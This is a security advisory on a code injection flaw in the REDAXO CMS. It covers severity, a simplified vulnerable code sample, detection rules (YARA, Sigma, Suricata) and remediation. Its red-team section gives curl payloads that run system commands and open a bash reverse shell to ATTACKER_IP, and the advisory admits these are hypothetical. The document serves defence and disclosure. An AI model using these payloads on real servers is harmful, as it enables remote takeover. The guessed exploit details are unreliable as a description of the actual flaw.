CVE-2024-25298

Executive Summary

CVE-2024-25298 is a critical vulnerability discovered in REDAXO version 5.15.1, a PHP-based content management system. The flaw resides in the modules.modules.php component, allowing unauthenticated remote attackers to execute arbitrary code and extract sensitive information. The vulnerability is classified under CWE-94 (Improper Control of Generation of Code - Code Injection). With a CVSS v3.1 base score of 9.8 (Critical), this issue poses a severe risk to confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code has been released as of this analysis, but the attack vector is network-based with low complexity and no required privileges.

Supply Chain & Package Security

REDAXO is a PHP CMS distributed via its official website and GitHub repository. The vulnerability affects the core application, not a third-party package. Users should verify the integrity of their REDAXO installation by checking file hashes against official releases. No known malicious packages have been associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability can be exploited remotely without authentication, leading to full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the modules.modules.php file of REDAXO 5.15.1. This file handles module management within the CMS. The flaw is due to insufficient input validation and sanitization of user-supplied data passed to PHP functions that can execute code (e.g., eval(), assert(), or preg_replace() with the /e modifier). An attacker can craft a malicious HTTP request to the vulnerable endpoint, injecting PHP code that gets executed on the server.

Attack Vector:

1. The attacker sends a specially crafted HTTP POST or GET request to modules.modules.php with parameters containing malicious PHP code.
2. The application fails to sanitize the input, passing it directly to a code execution function.
3. The injected code runs with the privileges of the web server, allowing the attacker to execute system commands, read/write files, or exfiltrate data.

Root Cause: Lack of input validation and use of dangerous PHP functions without proper escaping.

Vulnerable vs. Patched Code

Vulnerable Code (REDAXO 5.15.1):

// modules.modules.php (simplified)
$module_name = $_POST['module_name'];
eval("echo 'Module: " . $module_name . "';");

Patched Code (Hypothetical):

// modules.modules.php (patched)
$module_name = htmlspecialchars($_POST['module_name'], ENT_QUOTES, 'UTF-8');
echo 'Module: ' . $module_name;

The patched version uses htmlspecialchars() to escape output and avoids eval() entirely. Additionally, input validation should be implemented to ensure only expected values are processed.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install REDAXO 5.15.1 on a local server (e.g., using Docker or XAMPP).
2. Ensure the modules.modules.php file is accessible via the web root.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/redaxo/modules.modules.php
2. Craft a payload to execute system commands:

   curl -X POST http://target/redaxo/modules.modules.php \
     -d "module_name=;system('id');"
   

3. For reverse shell:

   curl -X POST http://target/redaxo/modules.modules.php \
     -d "module_name=;exec('/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"');"
   

Note: No public exploit code is available; this is a hypothetical demonstration.

Blue Team

Detection:

• Monitor web server logs for unusual POST requests to modules.modules.php containing PHP code or system commands.
• Use WAF rules to block requests with eval(), system(), or exec() in parameters.

Hunting:

• Search for files modified around the time of the attack.
• Check for unexpected processes spawned by the web server user.

Indicators of Compromise (IOCs)

• File: modules.modules.php (modified or containing malicious code)
• Network: Outbound connections to attacker-controlled IPs on common ports (e.g., 4444, 8080)
• Logs: HTTP POST requests to /redaxo/modules.modules.php with suspicious parameters
• System: Unusual files in /tmp/ or web root, unexpected cron jobs

Detection Engineering

YARA Rule

rule CVE_2024_25298_REDAXO_CodeInjection {
    meta:
        description = "Detects exploitation attempts of CVE-2024-25298 in REDAXO"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-25298"
    strings:
        $s1 = "modules.modules.php" nocase
        $s2 = "eval(" nocase
        $s3 = "system(" nocase
        $s4 = "exec(" nocase
        $s5 = "preg_replace" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-25298 REDAXO Code Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to REDAXO modules.modules.php with potential code injection
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'modules.modules.php'
    keywords:
        - 'eval('
        - 'system('
        - 'exec('
        - 'passthru('
        - 'shell_exec('
    condition: selection and keywords
falsepositives:
    - Legitimate use of eval() in custom modules (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-25298 REDAXO Code Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"modules.modules.php";
    http_uri;
    content:"eval(";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-25298;
)

Remediation & Mitigation

1. Immediate: Disable or restrict access to modules.modules.php via .htaccess or web server configuration.
2. Patch: Apply vendor patch if available; otherwise, manually sanitize input in modules.modules.php:
   • Remove eval(), assert(), and preg_replace() with /e modifier.
   • Use htmlspecialchars() or strip_tags() for output.
   • Validate input against a whitelist of allowed values.
3. WAF: Deploy web application firewall rules to block code injection patterns.
4. Monitoring: Enable detailed logging for modules.modules.php and alert on suspicious requests.
5. Update: Upgrade to the latest REDAXO version once a patch is released.

Valters IT
DevSecOps & Cyber Threat Intelligence